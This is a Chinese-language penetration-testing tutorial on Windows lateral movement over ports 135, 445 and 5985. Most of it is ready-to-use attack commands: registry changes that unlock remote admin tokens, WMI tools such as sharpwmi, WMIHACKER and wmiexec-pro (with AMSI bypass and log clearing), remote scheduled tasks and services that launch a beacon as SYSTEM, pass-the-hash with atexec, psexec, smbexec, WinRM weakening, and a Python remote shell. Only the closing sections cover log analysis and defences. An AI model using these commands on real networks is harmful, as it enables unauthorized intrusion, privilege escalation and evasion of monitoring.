内网横向下的135,445与5985端口利用
字数 1808 2025-08-23 18:31:18
内网横向移动中的135、445与5985端口利用技术详解
1. LocalAccountTokenFilterPolicy机制
1.1 基本概念
- 在工作组环境下,Windows Vista及以后系统中,注册表默认不存在
LocalAccountTokenFilterPolicy值 - 影响:administrator账户远程连接时获得完整管理员令牌,而其他管理员账户连接时获得删除管理员权限的令牌
- 域环境不受此限制,域管理员都可建立管理员权限连接
1.2 注册表操作
# 查询该值
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy
# 添加该值(1表示启用)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# 删除该值
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f
2. 135端口利用技术
2.1 WMIC基础
- 定义:Windows Management Instrumentation Command-line,命令行管理工具
- 特点:
- 可管理本地和远程计算机
- 自Windows 98开始支持
- 默认不记录操作日志,隐蔽性优于psexec/smbexec
2.2 利用工具
2.2.1 SharpWmi
- 下载地址:https://github.com/QAX-A-Team/sharpwmi
- 特点:
- 仅依赖135端口
- 通过WMI执行命令,结果写入注册表后读取
- 文件上传功能通过注册表实现
- 限制:
- 文件大小≤512KB(注册表值长度限制)
- 依赖PowerShell,易被杀软检测
- 命令示例:
# 命令执行 sharpwmi.exe 192.168.3.157 micle admin cmd whoami # 文件上传 sharpwmi.exe 192.168.3.157 micle admin upload 1.txt "c:\1.txt" - 改进版:https://github.com/idiotc4t/sharpwmi
2.2.2 WMIHACKER
- 下载地址:https://github.com/rootclay/WMIHACKER/
- 功能:
- 命令执行(有/无回显)
- 文件上传/下载
- 模拟Shell模式
- 使用示例:
# 有回显执行 cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo" 1 # 无回显执行(需文件读写) cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo > c:\1.txt" 0 cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "type c:\1.txt" 1 # 模拟Shell cscript WMIHACKER.vbs /shell 192.168.3.157 micle "admin" # 文件上传 cscript WMIHACKER.vbs /upload 192.168.3.157 micle "admin" "1.txt" "c:\hello.txt"
2.2.3 wmiexec-pro
- 下载地址:https://github.com/XiaoliChan/wmiexec-Pro
- 特点:
- 仅需135端口
- 通过自定义WMI类实现功能,不依赖注册表
- 提供多种模块:
- AMSI旁路
- 文件传输
- 远程启用RDP
- 防火墙滥用
- 事件日志清理
- 远程启用WinRM
- 服务管理
- RID-Hijack
- 使用示例:
# 建立Shell连接 python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -shell # 执行单条命令 python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -command "whoami"
3. 445端口利用技术
3.1 IPC$共享基础
- 定义:Internet Process Connection,用于进程间通信的命名管道资源
- 默认共享:C\(, D\), admin$等(仅管理员可远程操作)
- 常用命令:
net use # 查看连接 net session # 查看被连接情况 net share # 查看本地共享 net share ipc$ # 开启IPC共享 net share ipc$ /del # 删除IPC共享 dir \\192.168.3.1\c$\user # 查看远程目录 net time \\192.168.3.1 # 查看远程时间
3.2 利用方法
3.2.1 at命令(计划任务)
# 查看远程时间
net time \\192.168.3.1
# 创建计划任务
at \\192.168.3.150 15:17:30 cmd.exe /c "ipconfig >1.txt"
# 删除作业
at \\192.168.3.150 1 /delete
3.2.2 schtasks命令
# 创建计划任务
schtasks /create /s 192.168.3.157 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U micle /P admin
# 查询任务
schtasks /query /s 192.168.3.157 /U micle -P admin | findstr test
# 启动任务
schtasks /run /s 192.168.3.157 /i /tn "test" /U micle -P admin
# 删除任务
schtasks /delete /s 192.168.3.157 /tn "test" /f /U micle -P admin
3.2.3 sc命令(服务控制)
# 创建服务
sc \\192.168.3.157 create test binpath= "c:\beacon.exe"
# 查询服务
sc \\192.168.3.157 query test
# 启动服务
sc \\192.168.3.157 start test
# 删除服务
sc \\192.168.3.157 delete test
3.3 相关工具
3.3.1 atexec.py
- 特点:利用计划任务服务执行命令
- 使用示例:
# 明文密码连接 atexec.py micle:admin@192.168.3.157 "whoami" # Hash连接 atexec.py -hashes :579da618cfbfa85247acf1f800a280a4 micle@192.168.3.157 "whoami"
3.3.2 psexec
- Impacket版:
- 可使用admin\(或C\)共享
- 上传随机文件名二进制文件
- 微软官方版:
- 仅使用admin$共享
- 固定文件名:PSEXESVC.exe
- 固定服务名:PSEXESVC
- 使用示例:
# 获取system权限 psexec.exe \\192.168.3.157 -u micle -p admin -s cmd.exe # 普通权限 psexec.exe \\192.168.3.157 -u micle -p admin cmd.exe # 本地获取system权限 PsExec64.exe -i -s cmd.exe
3.3.3 smbexec.py
- 原理:通过文件共享创建服务,用bat文件执行命令
- 使用示例:
# 明文密码连接 smbexec.py micle:admin@192.168.3.157 # 使用指定共享 smbexec.py micle:admin@192.168.3.157 -share C$
4. 5985端口(WinRM)利用技术
4.1 WinRM基础
- 端口:5985(HTTP)或5986(HTTPS)
- 默认状态:
- Server 2012+自动启动
- Vista需手动启动
- 特点:不易察觉,不占用远程连接数
4.2 配置命令
# 强制开启WinRM
Enable-PSRemoting -force
# 快速配置(包括防火墙)
winrm quickconfig -q
# 配置HTTPS传输
winrm quickconfig -transport:https
# 设置自启动
Set-Service WinRM -StartMode Automatic
# 查看监听
winrm enumerate winrm/config/listener
# 查看配置
winrm get winrm/config
# 修改默认端口
winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'
# 允许非加密
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
# 设置信任主机
winrm set winrm/config/Client '@{TrustedHosts="192.168.3.*"}'
4.3 利用方法
4.3.1 远程执行命令
# 执行程序
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'
4.3.2 客户端连接
# 工作组环境需先设置
Set-Item wsman:\localhost\Client\TrustedHosts -value *
# 基本连接
winrs -r:http://192.168.3.170:5985 -u:micle -p:admin cmd
4.3.3 PowerShell会话管理
# 进入会话
Enter-PSSession -computer 192.168.3.170 -Credential micle -Port 5985
# 新建会话
New-PSSession -Name test -ComputerName 192.168.3.170 -Credential micle
# 查看会话
Get-PSSession
# 进入指定会话
Enter-PSSession -id 1
Enter-PSSession -Name test
4.3.4 Python连接
import winrm
while True:
cmd = input("$: ")
wintest = winrm.Session('http://192.168.3.170:5985/wsman', auth=('micle','admin'))
ret = wintest.run_cmd(cmd)
print(ret.std_out.decode("GBK"))
print(ret.std_err.decode())
5. 日志分析要点
5.1 135端口工具
- 仅产生登录/注销日志
- 特殊登录事件(给用户赋权)
5.2 445端口工具
- psexec:系统日志中ID 7045(服务创建)
- smbexec:命令输出文件相关服务日志
5.3 WinRM工具
- 主要产生登录/注销日志
6. 防御建议
- 最小权限原则:限制管理员账户数量和使用范围
- 网络分段:限制135/445/5985端口的网络访问
- 日志监控:重点关注:
- 7045事件(服务创建)
- 特殊登录事件
- WinRM配置变更
- 注册表防护:监控LocalAccountTokenFilterPolicy变更
- 共享管理:关闭不必要的共享(IPC\(, admin\)等)
- 服务加固:
- 限制WinRM访问IP
- 强制使用HTTPS加密
- EDR部署:检测异常WMI和计划任务活动